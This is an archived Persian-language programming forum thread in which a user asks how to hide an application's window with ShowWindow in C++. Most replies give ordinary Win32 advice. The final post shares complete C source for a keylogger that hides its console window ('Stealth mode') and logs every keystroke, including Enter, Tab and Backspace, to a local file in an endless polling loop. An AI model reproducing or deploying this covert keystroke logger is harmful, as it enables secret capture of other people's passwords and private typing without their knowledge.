ورود

View Full Version : در مورد show window()



kitten
شنبه 28 مهر 1386, 17:37 عصر
سلام
این اولین پست من است پس اگر اشتباهی دارم ببخشید
می خواهم بدانم که چگونه می توان از show windowدر سی پلاس پلاس برای مخفی کردن برنامه از اپلیکیشن استفاده کرد
ممنون خداحافظ

amir_civil
شنبه 28 مهر 1386, 18:11 عصر
سلام
اول باید از دستور FindWindow برای پیدا کردن پنجره مورد نظر استفاده کنی
بعد با ShowWindow مخفی کنی

kitten
یک شنبه 29 مهر 1386, 11:43 صبح
اکه می شه بگین که چه فایلی را باید اینکلاد کنم و یه مقال برای من بیاورید ممنون

Nima_NF
یک شنبه 29 مهر 1386, 13:06 عصر
اگر هدف شما مخفی کردن برنامه در حال اجرای خودتان است ، هنگام ساخت پنجره باید آن را به صورت پیش فرض غیر visible تعریف کنید و دیگر نیازی به استفاده از تابع ShowWindow نمی باشد. در صورت نیاز می توانید از کد زیر برای نمایش مجدد برنامه شما استفاده کنید:


ShowWindow(hWnd, SW_SHOW);

فقط توجه کنید که اگر در ابتدای برنامه ، پنجره با استفاده از همین تابع قبلا نمایش داده شده است شما نمی توانید در داخل پیام WM_CREATE از Showٌindow استفاده کنید چون این پیام قبل از نمایش پنجره ارسال می شود.




اکه می شه بگین که چه فایلی را باید اینکلاد کنم شما قبل از مطرح کردن سوال باید مشخص کنید که کدام شیوه برای برنامه نویسی استفاده می کنید : MFC ، win32 API , ...

kitten
دوشنبه 30 مهر 1386, 17:45 عصر
من می خواهم از win32 استفاده کنم مرا راهنمایی کنید
ممنونم

saeedIRHA
سه شنبه 01 آبان 1386, 00:16 صبح
این یک Keylogger هست که قبلاً نوشتم
اشکال خیلی داره اما خوب از این API
توش استفاده کردم



/*
Written by: Omega7
Application: Keylogger Using "GetAsyncKeyState()"
Date: 15/Nov/2006
*/
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <time.h>
#define FileName "log.txt"

void KeyPress();
int main(int argc,char *argv[])
{
HWND hWnd; //Finding Handle to Window
AllocConsole(); //use Stealth mode
hWnd = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(hWnd,0); //Hide the window
FILE *file;
if((file=fopen(FileName,"a+")) != NULL)
{
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fprintf(file,"-------------------------------------\n");
fclose(file);}
else{
fprintf(stderr,"Error in Accessing File\n");
return EXIT_FAILURE;}

KeyPress();
return EXIT_SUCCESS;
}

void KeyPress()
{
FILE *fp;
unsigned int maxLine=0;
long tell;
short ch;

while(1)
{
Sleep(80);
for(ch=0x06; ch <= 0xDE ; ch++)
{
if(GetAsyncKeyState(ch)) //check Chars from 0x06 to 0xDE
{ //if it is in for LOOP the it returns TRUE
//For char info chek:"VirtualKeyCodes" in MSDN.
if((fp = fopen(FileName,"a+")) != NULL)
{

if((ch>0x40)&&(ch<0x5B)) //Printing Chars
{
//ch+=32; //Lower case
fprintf(fp,"%c",ch);
Sleep(3);
maxLine++;
fclose(fp);
break;
}
else if((ch >0x29) && (ch < 0x40))//Printing Numbers
{
fprintf(fp,"%c",ch);
maxLine++;
fclose(fp);
break;
}
else{
switch(ch){
case VK_SPACE:
fputc(' ',fp);
maxLine++;
fclose(fp);
break;
case VK_RETURN:
fprintf(fp,"\r\n[Enter Pressed] \r\n ");
maxLine++;
fclose(fp);
break;
//Debug---
case VK_BACK:
fprintf(fp,"|->BACKSPACE<-|");
maxLine++;
fclose(fp);
break;
//----------
case VK_TAB:
fprintf(fp,"\r\n[Tab Pressed] \r\n ");
maxLine++;
fclose(fp);
break;
case VK_DELETE:
fprintf(fp,"\r\n[DEL Pressed]\r\n ");
maxLine++;
fclose(fp);
break;
case 0xBA:
fprintf(fp,";:");
maxLine++;
fclose(fp);
break;
case 0xBB:
fprintf(fp,"+");
maxLine++;
fclose(fp);
break;
case 0xBC:
fprintf(fp,",");
maxLine++;
fclose(fp);
break;//-----------------
case 0xBD:
fprintf(fp,"-");
maxLine++;
fclose(fp);
break;
case 0xBE:
fprintf(fp,".");
maxLine++;
fclose(fp);
break;
case VK_OEM_3:
fprintf(fp,"'~");
maxLine++;
fclose(fp);
break;
default:
fclose(fp);
break;
}

}


}

else{
fprintf(stderr,"File Access Error!\n");
exit(1);
}
}
}
}
}